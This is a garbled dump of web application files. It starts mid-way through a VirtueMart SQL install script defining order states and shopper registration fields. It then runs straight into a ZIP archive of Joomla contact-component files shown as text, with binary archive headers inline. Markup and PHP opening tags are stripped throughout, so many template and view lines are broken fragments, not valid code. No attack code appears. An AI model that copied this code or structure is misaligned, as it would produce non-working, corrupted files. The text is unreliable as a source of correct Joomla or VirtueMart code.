'zone', 'This is the zone-shipment module. Here you can manage your shipment costs according to Zones.', 'admin,storeadmin', 0, '1', 11); -- -- Dumping data for table `#__virtuemart_orderstates` -- INSERT INTO `#__virtuemart_orderstates` (`virtuemart_orderstate_id`, `order_status_code`, `order_status_name`, `order_status_description`, `order_stock_handle`, `ordering`, `virtuemart_vendor_id`) VALUES (null, 'P', 'COM_VIRTUEMART_ORDER_STATUS_PENDING', '', 'R',1, 1), (null, 'U', 'COM_VIRTUEMART_ORDER_STATUS_CONFIRMED_BY_SHOPPER', '', 'R',2, 1), (null, 'C', 'COM_VIRTUEMART_ORDER_STATUS_CONFIRMED', '', 'R', 3, 1), (null, 'X', 'COM_VIRTUEMART_ORDER_STATUS_CANCELLED', '', 'A',4, 1), (null, 'R', 'COM_VIRTUEMART_ORDER_STATUS_REFUNDED', '', 'A',5, 1), (null, 'S', 'COM_VIRTUEMART_ORDER_STATUS_SHIPPED', '', 'O',6, 1); -- -- Dumping data for table `#__virtuemart_userfields` -- INSERT INTO `#__virtuemart_userfields` (`virtuemart_userfield_id`, `virtuemart_vendor_id`, `userfield_jplugin_id`, `name`, `title`, `description`, `type`, `maxlength`, `size`, `required`, `cols`, `rows`, `value`, `default`, `registration`, `shipment`, `account`, `readonly`, `calculated`, `sys`, `params`, `ordering`, `shared`, `published`, `created_on`, `created_by`, `modified_on`, `modified_by`, `locked_on`, `locked_by`) VALUES (1, 0, 0, 'email', 'COM_VIRTUEMART_REGISTER_EMAIL', '', 'emailaddress', 100, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 4, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (2, 0, 0, 'password', 'COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_1', '', 'password', 25, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 10, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (3, 0, 0, 'password2', 'COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_2', '', 'password', 25, 30, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 12, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (4, 0, 0, 'agreed', 'COM_VIRTUEMART_I_AGREE_TO_TOS', '', 'checkbox', NULL, NULL, 1, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 13, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (5, 0, 0, 'name', 'COM_VIRTUEMART_USER_DISPLAYED_NAME', '', 'text', 25, 30, 1, 0, 0, '', NULL, 1, 0, 1, 0, 0, 1, '', 8, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (6, 0, 0, 'username', 'COM_VIRTUEMART_USERNAME', '', 'text', 25, 30, 1, 0, 0, '', NULL, 1, 0, 1, 0, 0, 1, '', 6, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (7, 0, 0, 'address_type_name', 'COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL', '', 'text', 32, 30, 1, NULL, NULL, NULL, 'Shipment', 0, 1, 0, 0, 0, 1, NULL, 16, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (8, 0, 0, 'delimiter_billto', 'COM_VIRTUEMART_USER_FORM_BILLTO_LBL', '', 'delimiter', 25, 30, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 0, NULL, 18, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (9, 0, 0, 'company', 'COM_VIRTUEMART_SHOPPER_FORM_COMPANY_NAME', '', 'text', 64, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 20, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (10, 0, 0, 'title', 'COM_VIRTUEMART_SHOPPER_FORM_TITLE', '', 'select', 0, 210, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 1, NULL, 22, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (11, 0, 0, 'first_name', 'COM_VIRTUEMART_SHOPPER_FORM_FIRST_NAME', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 24, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (12, 0, 0, 'middle_name', 'COM_VIRTUEMART_SHOPPER_FORM_MIDDLE_NAME', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 26, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (13, 0, 0, 'last_name', 'COM_VIRTUEMART_SHOPPER_FORM_LAST_NAME', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 28, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (14, 0, 0, 'address_1', 'COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_1', '', 'text', 64, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 30, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (15, 0, 0, 'address_2', 'COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_2', '', 'text', 64, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 32, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (16, 0, 0, 'zip', 'COM_VIRTUEMART_SHOPPER_FORM_ZIP', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 34, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (17, 0, 0, 'city', 'COM_VIRTUEMART_SHOPPER_FORM_CITY', '', 'text', 32, 30, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 36, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (18, 0, 0, 'virtuemart_country_id', 'COM_VIRTUEMART_SHOPPER_FORM_COUNTRY', '', 'select', 0, 210, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 38, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (19, 0, 0, 'virtuemart_state_id', 'COM_VIRTUEMART_SHOPPER_FORM_STATE', '', 'select', 0, 210, 1, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 40, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (20, 0, 0, 'phone_1', 'COM_VIRTUEMART_SHOPPER_FORM_PHONE', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 42, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (21, 0, 0, 'phone_2', 'COM_VIRTUEMART_SHOPPER_FORM_PHONE2', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 44, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (22, 0, 0, 'fax', 'COM_VIRTUEMART_SHOPPER_FORM_FAX', '', 'text', 32, 30, 0, NULL, NULL, NULL, NULL, 1, 1, 1, 0, 0, 1, NULL, 46, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (23, 0, 0, 'delimiter_sendregistration', 'COM_VIRTUEMART_BUTTON_SEND_REG', '', 'delimiter', 25, 30, 0, NULL, NULL, NULL, NULL, 0, 0, 0, 0, 0, 0, NULL, 2, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (24, 0, 0, 'delimiter_userinfo', 'COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL', '', 'delimiter', NULL, NULL, 0, NULL, NULL, NULL, NULL, 1, 0, 1, 0, 0, 0, NULL, 14, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (25, 1, 0, 'tax_exemption_number', 'COM_VIRTUEMART_SHOPPER_FORM_TAXEXEMPTION_NBR', 'Vendors can set here a tax exemption number for a shopper. This field is only changeable by administrators.', 'text', 10, 0, 0, 0, 0, NULL, NULL, 0, 0, 1, 1, 0, 0, NULL, 48, 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (26, 1, 0, 'tax_usage_type', 'COM_VIRTUEMART_SHOPPER_FORM_TAX_USAGE', 'Federal, national, educational, public, or similar often get a special tax. This field is only writable by administrators.', 'select', 0, 0, 0, 0, 0, NULL, NULL, 0, 0, 1, 1, 0, 0, NULL, 50, 0, 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0);PKs>\Vcom_contact/index.htmlnuW+A PKs>\Ueecom_contact/access.xmlnuW+A
      PKs>\J-JJcom_contact/config.xmlnuW+A
      PKs>\)com_contact/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_contact/views/index.htmlnuW+A PKs>\)#com_contact/views/contact/.htaccessnuW+A Order allow,deny Deny from all PKs>\N""'com_contact/views/contact/view.html.phpnuW+Aget('State'); $item = $this->get('Item'); $this->form = $this->get('Form'); // Get the parameters $params = JComponentHelper::getParams('com_contact'); if ($item) { // If we found an item, merge the item parameters $params->merge($item->params); // Get Category Model data $categoryModel = JModelLegacy::getInstance('Category', 'ContactModel', array('ignore_request' => true)); $categoryModel->setState('category.id', $item->catid); $categoryModel->setState('list.ordering', 'a.name'); $categoryModel->setState('list.direction', 'asc'); $categoryModel->setState('filter.published', 1); $contacts = $categoryModel->getItems(); } // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } // check if access is not public $groups = $user->getAuthorisedViewLevels(); $return = ''; if ((!in_array($item->access, $groups)) || (!in_array($item->category_access, $groups))) { $uri = JFactory::getURI(); $return = (string)$uri; JError::raiseWarning(403, JText::_('JERROR_ALERTNOAUTHOR')); return; } $options['category_id'] = $item->catid; $options['order by'] = 'a.default_con DESC, a.ordering ASC'; // Handle email cloaking if ($item->email_to && $params->get('show_email')) { $item->email_to = JHtml::_('email.cloak', $item->email_to); } if ($params->get('show_street_address') || $params->get('show_suburb') || $params->get('show_state') || $params->get('show_postcode') || $params->get('show_country')) { if (!empty ($item->address) || !empty ($item->suburb) || !empty ($item->state) || !empty ($item->country) || !empty ($item->postcode)) { $params->set('address_check', 1); } } else { $params->set('address_check', 0); } // Manage the display mode for contact detail groups switch ($params->get('contact_icons')) { case 1 : // text $params->set('marker_address', JText::_('COM_CONTACT_ADDRESS').": "); $params->set('marker_email', JText::_('JGLOBAL_EMAIL').": "); $params->set('marker_telephone', JText::_('COM_CONTACT_TELEPHONE').": "); $params->set('marker_fax', JText::_('COM_CONTACT_FAX').": "); $params->set('marker_mobile', JText::_('COM_CONTACT_MOBILE').": "); $params->set('marker_misc', JText::_('COM_CONTACT_OTHER_INFORMATION').": "); $params->set('marker_class', 'jicons-text'); break; case 2 : // none $params->set('marker_address', ''); $params->set('marker_email', ''); $params->set('marker_telephone', ''); $params->set('marker_mobile', ''); $params->set('marker_fax', ''); $params->set('marker_misc', ''); $params->set('marker_class', 'jicons-none'); break; default : // icons $image1 = JHtml::_('image', 'contacts/'.$params->get('icon_address', 'con_address.png'), JText::_('COM_CONTACT_ADDRESS').": ", NULL, true); $image2 = JHtml::_('image', 'contacts/'.$params->get('icon_email', 'emailButton.png'), JText::_('JGLOBAL_EMAIL').": ", NULL, true); $image3 = JHtml::_('image', 'contacts/'.$params->get('icon_telephone', 'con_tel.png'), JText::_('COM_CONTACT_TELEPHONE').": ", NULL, true); $image4 = JHtml::_('image', 'contacts/'.$params->get('icon_fax', 'con_fax.png'), JText::_('COM_CONTACT_FAX').": ", NULL, true); $image5 = JHtml::_('image', 'contacts/'.$params->get('icon_misc', 'con_info.png'), JText::_('COM_CONTACT_OTHER_INFORMATION').": ", NULL, true); $image6 = JHtml::_('image', 'contacts/'.$params->get('icon_mobile', 'con_mobile.png'), JText::_('COM_CONTACT_MOBILE').": ", NULL, true); $params->set('marker_address', $image1); $params->set('marker_email', $image2); $params->set('marker_telephone', $image3); $params->set('marker_fax', $image4); $params->set('marker_misc', $image5); $params->set('marker_mobile', $image6); $params->set('marker_class', 'jicons-icons'); break; } // Add links to contacts if ($params->get('show_contact_list') && count($contacts) > 1) { foreach($contacts as &$contact) { $contact->link = JRoute::_(ContactHelperRoute::getContactRoute($contact->slug, $contact->catid)); } $item->link = JRoute::_(ContactHelperRoute::getContactRoute($item->slug, $item->catid)); } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->assignRef('contact', $item); $this->assignRef('params', $params); $this->assignRef('return', $return); $this->assignRef('state', $state); $this->assignRef('item', $item); $this->assignRef('user', $user); $this->assignRef('contacts', $contacts); // Override the layout only if this is not the active menu item // If it is the active menu item, then the view and item id will match $active = $app->getMenu()->getActive(); if ((!$active) || ((strpos($active->link, 'view=contact') === false) || (strpos($active->link, '&id=' . (string) $this->item->id) === false))) { if ($layout = $params->get('contact_layout')) { $this->setLayout($layout); } } elseif (isset($active->query['layout'])) { // We need to set the layout in case this is an alternative menu item (with an alternative layout) $this->setLayout($active->query['layout']); } $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $pathway = $app->getPathway(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_CONTACT_DEFAULT_PAGE_TITLE')); } $title = $this->params->get('page_title', ''); $id = (int) @$menu->query['id']; // if the menu item does not concern this contact if ($menu && ($menu->query['option'] != 'com_contact' || $menu->query['view'] != 'contact' || $id != $this->item->id)) { // If this is not a single contact menu item, set the page title to the contact title if ($this->item->name) { $title = $this->item->name; } $path = array(array('title' => $this->contact->name, 'link' => '')); $category = JCategories::getInstance('Contact')->get($this->contact->catid); while ($category && ($menu->query['option'] != 'com_contact' || $menu->query['view'] == 'contact' || $id != $category->id) && $category->id > 1) { $path[] = array('title' => $category->title, 'link' => ContactHelperRoute::getCategoryRoute($this->contact->catid)); $category = $category->getParent(); } $path = array_reverse($path); foreach($path as $item) { $pathway->addItem($item['title'], $item['link']); } } if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } if (empty($title)) { $title = $this->item->name; } $this->document->setTitle($title); if ($this->item->metadesc) { $this->document->setDescription($this->item->metadesc); } elseif (!$this->item->metadesc && $this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->item->metakey) { $this->document->setMetadata('keywords', $this->item->metakey); } elseif (!$this->item->metakey && $this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } $mdata = $this->item->metadata->toArray(); foreach ($mdata as $k => $v) { if ($v) { $this->document->setMetadata($k, $v); } } } } PKs>\@"ۨ  'com_contact/views/contact/tmpl/edit.phpnuW+A
      item->id) ? JText::_('COM_CONTACT_NEW_CONTACT') : JText::sprintf('COM_CONTACT_EDIT_CONTACT', $this->item->id); ?>
      • form->getLabel('name'); ?> form->getInput('name'); ?>
      • form->getLabel('alias'); ?> form->getInput('alias'); ?>
      • form->getLabel('user_id'); ?> form->getInput('user_id'); ?>
      • form->getLabel('catid'); ?> form->getInput('catid'); ?>
      • form->getLabel('published'); ?> form->getInput('published'); ?>
      • form->getLabel('access'); ?> form->getInput('access'); ?>
      • form->getLabel('ordering'); ?> form->getInput('ordering'); ?>
      • form->getLabel('featured'); ?> form->getInput('featured'); ?>
      • form->getLabel('language'); ?> form->getInput('language'); ?>
      • form->getLabel('id'); ?> form->getInput('id'); ?>
      form->getLabel('misc'); ?>
      form->getInput('misc'); ?>
      • form->getLabel('created_by'); ?> form->getInput('created_by'); ?>
      • form->getLabel('created_by_alias'); ?> form->getInput('created_by_alias'); ?>
      • form->getLabel('created'); ?> form->getInput('created'); ?>
      • form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
      • form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
      • item->modified_by) : ?>
      • form->getLabel('modified_by'); ?> form->getInput('modified_by'); ?>
      • form->getLabel('modified'); ?> form->getInput('modified'); ?>

      item->id) ? JText::_('COM_CONTACT_DETAILS') : JText::sprintf('COM_CONTACT_EDIT_DETAILS', $this->item->id); ?>

      • form->getLabel('image'); ?> form->getInput('image'); ?>
      • form->getLabel('con_position'); ?> form->getInput('con_position'); ?>
      • form->getLabel('email_to'); ?> form->getInput('email_to'); ?>
      • form->getLabel('address'); ?> form->getInput('address'); ?>
      • form->getLabel('suburb'); ?> form->getInput('suburb'); ?>
      • form->getLabel('state'); ?> form->getInput('state'); ?>
      • form->getLabel('postcode'); ?> form->getInput('postcode'); ?>
      • form->getLabel('country'); ?> form->getInput('country'); ?>
      • form->getLabel('telephone'); ?> form->getInput('telephone'); ?>
      • form->getLabel('mobile'); ?> form->getInput('mobile'); ?>
      • form->getLabel('fax'); ?> form->getInput('fax'); ?>
      • form->getLabel('webpage'); ?> form->getInput('webpage'); ?>
      • form->getLabel('sortname1'); ?> form->getInput('sortname1'); ?>
      • form->getLabel('sortname2'); ?> form->getInput('sortname2'); ?>
      • form->getLabel('sortname3'); ?> form->getInput('sortname3'); ?>
      loadTemplate('params'); ?> loadTemplate('metadata'); ?>
      PKs>\zz.com_contact/views/contact/tmpl/edit_params.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-params'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PKs>\a >>0com_contact/views/contact/tmpl/edit_metadata.phpnuW+Aform->getFieldsets('metadata'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
      • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
      • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
      • form->getLabel('xreference'); ?> form->getInput('xreference'); ?>
      • form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PKs>\)(com_contact/views/contact/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V)com_contact/views/contact/tmpl/index.htmlnuW+A PKs>\V$com_contact/views/contact/index.htmlnuW+A PKs>\V*com_contact/views/contacts/tmpl/index.htmlnuW+A PKs>\))com_contact/views/contacts/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\1m""+com_contact/views/contacts/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_contact.category'); $saveOrder = $listOrder == 'a.ordering'; ?>
      items); foreach ($this->items as $i => $item) : $ordering = $listOrder == 'a.ordering'; $canCreate = $user->authorise('core.create', 'com_contact.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_contact.category.'.$item->catid); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canEditOwn = $user->authorise('core.edit.own', 'com_contact.category.'.$item->catid) && $item->created_by == $userId; $canChange = $user->authorise('core.edit.state', 'com_contact.category.'.$item->catid) && $canCheckin; $item->cat_link = JRoute::_('index.php?option=com_categories&extension=com_contact&task=edit&type=other&id='.$item->catid); ?>
      items, 'filesave.png', 'contacts.saveorder'); ?>
      pagination->getListFooter(); ?>
      id); ?> checked_out) : ?> editor, $item->checked_out_time, 'contacts.', $canCheckin); ?> escape($item->name); ?> escape($item->name); ?>

      escape($item->alias));?>

      linked_user)) : ?> linked_user;?> published, $i, 'contacts.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> featured, $i, $canChange); ?> category_title; ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'contacts.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($item->catid == @$this->items[$i+1]->catid), 'contacts.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'contacts.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($item->catid == @$this->items[$i+1]->catid), 'contacts.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> access_level; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      authorize('core.create', 'com_contacts') && $user->authorize('core.edit', 'com_contacts') && $user->authorize('core.edit.state', 'com_contacts')) : ?> loadTemplate('batch'); ?>
      PKs>\Υ~~)com_contact/views/contacts/tmpl/modal.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      items as $i => $item) : ?>
      pagination->getListFooter(); ?>
      escape($item->name); ?> linked_user)) : ?> linked_user;?> escape($item->access_level); ?> escape($item->category_title); ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      PKs>\7tmm1com_contact/views/contacts/tmpl/default_batch.phpnuW+Astate->get('filter.published'); ?>

      = 0) : ?>
      PKs>\V%com_contact/views/contacts/index.htmlnuW+A PKs>\f)> > (com_contact/views/contacts/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Preprocess the list of items to find ordering divisions. // TODO: Complete the ordering stuff with nested sets foreach ($this->items as &$item) { $item->order_up = true; $item->order_dn = true; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/contact.php'; $canDo = ContactHelper::getActions($this->state->get('filter.category_id')); $user = JFactory::getUser(); JToolBarHelper::title(JText::_('COM_CONTACT_MANAGER_CONTACTS'), 'contact.png'); if ($canDo->get('core.create') || (count($user->getAuthorisedCategories('com_contact', 'core.create'))) > 0) { JToolBarHelper::addNew('contact.add'); } if (($canDo->get('core.edit')) || ($canDo->get('core.edit.own'))) { JToolBarHelper::editList('contact.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('contacts.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('contacts.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('contacts.archive'); JToolBarHelper::checkin('contacts.checkin'); } if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'contacts.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('contacts.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_contact'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_CONTACTS_CONTACTS'); } } PKs>\)$com_contact/views/contacts/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_contact/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_contact/models/.htaccessnuW+A Order allow,deny Deny from all PKs>\],],com_contact/models/contact.phpnuW+AsetState('contact.id', $pk); // Load the parameters. $params = $app->getParams(); $this->setState('params', $params); $user = JFactory::getUser(); if ((!$user->authorise('core.edit.state', 'com_contact')) && (!$user->authorise('core.edit', 'com_contact'))){ $this->setState('filter.published', 1); $this->setState('filter.archived', 2); } } /** * Method to get the contact form. * * The base form is loaded from XML and then an event is fired * * * @param array $data An optional array of data for the form to interrogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_contact.contact', 'contact', array('control' => 'jform', 'load_data' => true)); if (empty($form)) { return false; } $id = $this->getState('contact.id'); $params = $this->getState('params'); $contact = $this->_item[$id]; $params->merge($contact->params); if(!$params->get('show_email_copy', 0)){ $form->removeField('contact_email_copy'); } return $form; } protected function loadFormData() { $data = (array)JFactory::getApplication()->getUserState('com_contact.contact.data', array()); return $data; } /** * Gets a list of contacts * @param array * @return mixed Object or null */ public function &getItem($pk = null) { // Initialise variables. $pk = (!empty($pk)) ? $pk : (int) $this->getState('contact.id'); if ($this->_item === null) { $this->_item = array(); } if (!isset($this->_item[$pk])) { try { $db = $this->getDbo(); $query = $db->getQuery(true); //sqlsrv changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= ' ELSE '; $case_when .= $a_id.' END as slug'; $case_when1 = ' CASE WHEN '; $case_when1 .= $query->charLength('c.alias'); $case_when1 .= ' THEN '; $c_id = $query->castAsChar('c.id'); $case_when1 .= $query->concatenate(array($c_id, 'c.alias'), ':'); $case_when1 .= ' ELSE '; $case_when1 .= $c_id.' END as catslug'; $query->select($this->getState('item.select', 'a.*') . ','.$case_when.','.$case_when1); $query->from('#__contact_details AS a'); // Join on category table. $query->select('c.title AS category_title, c.alias AS category_alias, c.access AS category_access'); $query->join('LEFT', '#__categories AS c on c.id = a.catid'); // Join over the categories to get parent category titles $query->select('parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias'); $query->join('LEFT', '#__categories as parent ON parent.id = c.parent_id'); $query->where('a.id = ' . (int) $pk); // Filter by start and end dates. $nullDate = $db->Quote($db->getNullDate()); $nowDate = $db->Quote(JFactory::getDate()->toSql()); // Filter by published state. $published = $this->getState('filter.published'); $archived = $this->getState('filter.archived'); if (is_numeric($published)) { $query->where('(a.published = ' . (int) $published . ' OR a.published =' . (int) $archived . ')'); $query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')'); $query->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')'); } $db->setQuery($query); $data = $db->loadObject(); if ($error = $db->getErrorMsg()) { throw new JException($error); } if (empty($data)) { throw new JException(JText::_('COM_CONTACT_ERROR_CONTACT_NOT_FOUND'), 404); } // Check for published state if filter set. if (((is_numeric($published)) || (is_numeric($archived))) && (($data->published != $published) && ($data->published != $archived))) { JError::raiseError(404, JText::_('COM_CONTACT_ERROR_CONTACT_NOT_FOUND')); } // Convert parameter fields to objects. $registry = new JRegistry; $registry->loadString($data->params); $data->params = clone $this->getState('params'); $data->params->merge($registry); $registry = new JRegistry; $registry->loadString($data->metadata); $data->metadata = $registry; // Compute access permissions. if ($access = $this->getState('filter.access')) { // If the access filter has been set, we already know this user can view. $data->params->set('access-view', true); } else { // If no access filter is set, the layout takes some responsibility for display of limited information. $user = JFactory::getUser(); $groups = $user->getAuthorisedViewLevels(); if ($data->catid == 0 || $data->category_access === null) { $data->params->set('access-view', in_array($data->access, $groups)); } else { $data->params->set('access-view', in_array($data->access, $groups) && in_array($data->category_access, $groups)); } } $this->_item[$pk] = $data; } catch (JException $e) { $this->setError($e); $this->_item[$pk] = false; } } if ($this->_item[$pk]) { if ($extendedData = $this->getContactQuery($pk)) { $this->_item[$pk]->articles = $extendedData->articles; $this->_item[$pk]->profile = $extendedData->profile; } } return $this->_item[$pk]; } protected function getContactQuery($pk = null) { // TODO: Cache on the fingerprint of the arguments $db = $this->getDbo(); $user = JFactory::getUser(); $pk = (!empty($pk)) ? $pk : (int) $this->getState('contact.id'); $query = $db->getQuery(true); if ($pk) { //sqlsrv changes $case_when = ' CASE WHEN '; $case_when .= $query->charLength('a.alias'); $case_when .= ' THEN '; $a_id = $query->castAsChar('a.id'); $case_when .= $query->concatenate(array($a_id, 'a.alias'), ':'); $case_when .= 